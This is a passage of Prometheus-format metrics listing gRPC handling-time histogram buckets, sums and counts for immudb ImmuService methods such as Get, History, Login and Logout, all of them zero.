0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 